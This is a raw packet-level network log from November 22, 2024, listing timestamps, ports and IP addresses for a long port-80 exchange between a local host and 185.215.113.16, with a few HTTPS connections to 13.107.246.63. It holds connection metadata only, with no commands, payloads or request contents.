Nov 22, 2024 23:06:48.582381010 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.582400084 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.582561970 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.583456039 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.583529949 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.583970070 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.584034920 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.584619999 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.584680080 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.584847927 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.585216999 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.585799932 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.585863113 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.585916042 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.585992098 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.586963892 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.587024927 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.587305069 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.587359905 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.588135958 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.588200092 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.588437080 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.588491917 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.589315891 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.589380026 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.589438915 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.589528084 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.590500116 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.590560913 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.590662003 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.590913057 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.591679096 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.592053890 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.592158079 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.592952967 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.592966080 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.593010902 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.593027115 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.594021082 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.594152927 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.594326019 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.594376087 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.595288038 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.595357895 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.595518112 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.595685959 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.596630096 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.596698046 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.596787930 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.597003937 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.629477024 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:48.630072117 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:48.630093098 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:48.630515099 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:48.630522013 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:48.648251057 CET	443	49904	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:48.648643017 CET	49904	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:48.648686886 CET	443	49904	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:48.649081945 CET	49904	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:48.649086952 CET	443	49904	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:48.752460003 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.752537012 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.752566099 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.752825022 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.752928019 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.753294945 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.753365993 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.754118919 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.754192114 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.755239010 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.755335093 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.755337000 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.755352020 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.755440950 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.756577015 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.756870031 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.756948948 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.757682085 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.757760048 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.758115053 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.758820057 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.758893967 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.759072065 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.759126902 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.760003090 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.760078907 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.760237932 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.760370970 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.761193991 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.761264086 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.762012959 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.762105942 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.762398005 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.762414932 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.762458086 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.762486935 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.763519049 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.763578892 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.763653040 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.764110088 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.764683008 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.764739990 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.764827967 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.764903069 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.765866041 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.766108990 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.766638041 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.766701937 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.767082930 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.767126083 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.767143011 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.767174006 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.768224001 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.768382072 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.768696070 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.768754005 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.769409895 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.769474030 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.769673109 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.769716978 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.770555973 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.770621061 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.770683050 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.771787882 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.771868944 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.772461891 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.772532940 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.772877932 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.773035049 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.773093939 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.774048090 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.774111032 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.775224924 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.775275946 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.775289059 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.775300026 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.775326014 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.776500940 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.776561022 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.776854038 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.777138948 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.777657986 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.777714968 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.778810024 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.778892040 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.778906107 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.778950930 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.778986931 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.780033112 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.780301094 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.780952930 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.781013012 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.781142950 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.781263113 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.782301903 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.782356977 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.782439947 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.782452106 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.782490969 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.783512115 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.783653021 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.783704996 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.784653902 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.784706116 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.784830093 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.785505056 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.785865068 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.785878897 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.785945892 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.787051916 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.787278891 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.787341118 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.788160086 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.788208961 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.788916111 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.788969994 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.789355993 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.789407015 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.790105104 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.790152073 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.790507078 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.790625095 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.790855885 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.790900946 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.791682959 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.791731119 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.791769028 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.791893005 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.793214083 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.793277979 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.793348074 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.793869019 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.794047117 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.794099092 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.794424057 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.794466972 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.795222044 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.795268059 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.795698881 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.795751095 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.796416044 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.796469927 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.796587944 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.796659946 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.797564983 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.797617912 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.797970057 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.798176050 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.798748016 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.798794031 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.798840046 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.799052000 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.799923897 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.799974918 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.800108910 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.800410032 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.801096916 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.801155090 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.801808119 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.801857948 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.802267075 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.802313089 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.802834988 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.802885056 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.803406954 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.803456068 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.803611994 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.803755045 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.804594040 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.804645061 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.804836035 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.804884911 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.805763960 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.805831909 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.806230068 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.806289911 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.806936979 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.807003975 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.807270050 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.807322025 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.808166027 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.808228970 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.808351040 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.808571100 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.809283972 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.809357882 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.809425116 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.809885979 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.810590982 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.810646057 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.810694933 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.810827971 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.811902046 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.812174082 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.812228918 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.812786102 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.812953949 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.812983990 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.812999964 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.813908100 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.814086914 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.824105978 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:48.824760914 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:48.824789047 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:48.825316906 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:48.825324059 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:48.962863922 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.962948084 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.963126898 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.963184118 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.963525057 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.963587999 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.963653088 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.963691950 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.963695049 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.964378119 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.964843988 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.964901924 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.965073109 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.965110064 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.965985060 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.966038942 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.966382027 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.966615915 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.967178106 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.967222929 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.967389107 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.967466116 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.968355894 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.968425035 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.968487024 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.968539953 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.969490051 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.969571114 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.969654083 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.969702005 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.970690966 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.970920086 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.970953941 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.970971107 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.971895933 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.971966982 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.972103119 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.972268105 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.973045111 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.973129988 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.973478079 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.973530054 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.974318027 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.974467993 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.974744081 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.974838018 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.975382090 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.975562096 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.975923061 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.975975037 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.976537943 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.976814985 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.976948023 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.977721930 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.977847099 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.977894068 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.977940083 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.978919029 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.978972912 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.979131937 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.979629993 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.980109930 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.980123043 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.980165958 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.980180025 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.981256962 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.981404066 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.981688976 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.981739044 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.982470036 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.982481003 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.982532978 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.983591080 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.983659029 CET	49901	80	192.168.2.5	185.215.113.16
